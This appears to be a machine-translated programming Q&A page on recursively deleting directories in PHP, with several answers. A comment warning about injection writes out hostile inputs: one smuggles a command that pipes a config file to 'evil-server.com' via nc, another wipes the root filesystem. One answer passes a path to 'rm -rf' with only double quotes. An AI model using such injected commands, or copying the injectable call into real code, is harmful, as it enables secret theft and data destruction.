【问题标题】:A recursive remove directory function for PHP?PHP的递归删除目录功能?
【发布时间】:2010-11-27 07:10:32
【问题描述】:

我正在使用 PHP 移动图像子文件夹的内容

画廊名称/图片/

到另一个文件夹。移动后,我需要删除 GalleryName 目录以及其中的所有其他内容

我知道除非目录为空,否则rmdir() 将不起作用。我花了一段时间尝试从顶部开始构建一个递归函数到scandir(),然后是unlink()(如果它是一个文件)和scandir()(如果它是一个目录),然后是rmdir()每个空目录。

到目前为止,它的工作并不完全正确,我开始思考 -- 这不是 PHP 应该能够完成的简单得离谱的功能吗? 删除目录?

那么我有什么遗漏吗?或者是否至少有一个经过验证的功能可供人们用于此操作?

任何帮助将不胜感激。

PS 我比 php.net 网站上的 cmets 更信任你们——那里有数百个功能,但我很想知道你们这里是否有人推荐其中一个。

【问题讨论】:

  • 您是否考虑过带有 'rm -fr' 的 shell_exec() 函数?不是最好的方法,但如果你现在正在做的事情,它工作得很好。
  • @rogeriopvl 非常危险,但如果你必须使用 shell 转义和真实路径功能

标签: php recursion directory


【解决方案1】:

这个呢?

function rmdir_recursive($dirPath){
    if(!empty($dirPath) && is_dir($dirPath) ){
        $dirObj= new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS); //upper dirs not included,otherwise DISASTER HAPPENS :)
        $files = new RecursiveIteratorIterator($dirObj, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $path) 
            $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
        rmdir($dirPath);
        return true;
    }
    return false;
}

【讨论】:

  • +1 是最短的代码,可能是最好和最快的工作解决方案:)
  • 不错,别忘了在foreach后面加上rmdir($dirPath),否则只会删除文件。
  • @Coluhuru 添加了 rmdir() 调用。谢谢!
  • $path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname()); 应该是 $path->isDir() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 以便处理链接。
  • 似乎是最好的解决方案,因为它显然适用于任何操作系统。
【解决方案2】:

这是我创建/修改的递归函数,它似乎终于可以工作了。希望里面没有什么太危险的东西。

function destroy_dir($dir) { 
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file) { 
        if ($file == '.' || $file == '..') continue; 
        if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { 
            chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
            if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
        }; 
    } 
    return rmdir($dir); 
} 

【讨论】:

  • 这个函数很危险,应该是$file而不是$item!
【解决方案3】:

如果应用程序的服务器运行linux,只需使用shell_exec()函数,并为其提供rm -R命令,如下所示:

    $realPath = realpath($dir_path);

    if($realPath === FALSE){
         throw new \Exception('Directory does not exist');
    }

    shell_exec("rm ". escapeshellarg($realPath) ." -R");

解释:

仅当路径存在时递归删除指定目录,并转义路径,使其只能用作shell参数以避免shell命令注入。

如果您不使用escapeshellarg,可以通过在命令后命名要删除的目录来执行命令。

【讨论】:

  • 根据$dir_path 的来源,您可能会引入一个非常大的安全问题。假设,我以某种方式设置了$dir_path = "-F --no-preserve-root /"; 或者只是$dir_path = "; cat config/config.php | nc evil-server.com 80 ;";,那么可能性是无穷无尽的。
  • @amenthes 是的,但是您可以将 $dir_path 包装在 realpath() 中以避免这种情况
  • 可以,但上面的例子没有。就目前而言,这是一个危险的建议。在我写这篇文章的时候,这个答案已经被浏览了 32000 次。如果只有 0.1% 的人在错误的情况下逐字复制,那么就有 32 人存在严重的安全问题。
【解决方案4】:

我已经修改了一个函数来处理带有点前缀的隐藏 unix 文件并使用 glob:

public static function deleteDir($path) {
    if (!is_dir($path)) {
        throw new InvalidArgumentException("$path is not a directory");
    }
    if (substr($path, strlen($path) - 1, 1) != '/') {
        $path .= '/';
    }
    $dotfiles = glob($path . '.*', GLOB_MARK);
    $files = glob($path . '*', GLOB_MARK);
    $files = array_merge($files, $dotfiles);
    foreach ($files as $file) {
        if (basename($file) == '.' || basename($file) == '..') {
            continue;
        } else if (is_dir($file)) {
            self::deleteDir($file);
        } else {
            unlink($file);
        }
    }
    rmdir($path);
}

【讨论】:

    【解决方案5】:

    这里有另一个线程有更多示例: How do I recursively delete a directory and its entire contents (files + sub dirs) in PHP?

    如果您使用的是 Yii,那么您可以将其留给框架:

    CFileHelper::removeDirectory($my_directory);
    

    【讨论】:

      【解决方案6】:

      我更喜欢从 php 帮助页面 http://php.net/manual/en/function.rmdir.php#115598 派生的增强方法

       // check accidential empty, root or relative pathes
       if (!empty($path) && ...)
       {
        if (PHP_OS === 'Windows')
        {
          exec('rd /s /q "'.$path.'"');
        }
        else
        {
            exec('rm -rf "'.$path.'"');
        }
      }
      else
      {
          error_log('path not valid:$path'.var_export($path, true));
      }
      

      我做出决定的原因:

      • 更少的代码
      • 速度
      • 保持简单

      【讨论】:

        【解决方案7】:
        public static function rrmdir($dir)
        {
            if (is_dir($dir)) {
                $files = scandir($dir);
                foreach ($files as $file) {
                    if ($file != "." && $file != "..") {
                        if (filetype($dir . "/" . $file) == "dir")
                            self::rrmdir($dir . "/" . $file);
                        else
                            unlink($dir . "/" . $file);
                    }
                }
                reset($files);
                rmdir($dir);
            }
        }
        

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 2014-05-12
          • 2013-09-10
          • 2018-10-15
          • 1970-01-01
          • 2016-04-18
          • 1970-01-01
          • 2010-10-21
          相关资源
          最近更新 更多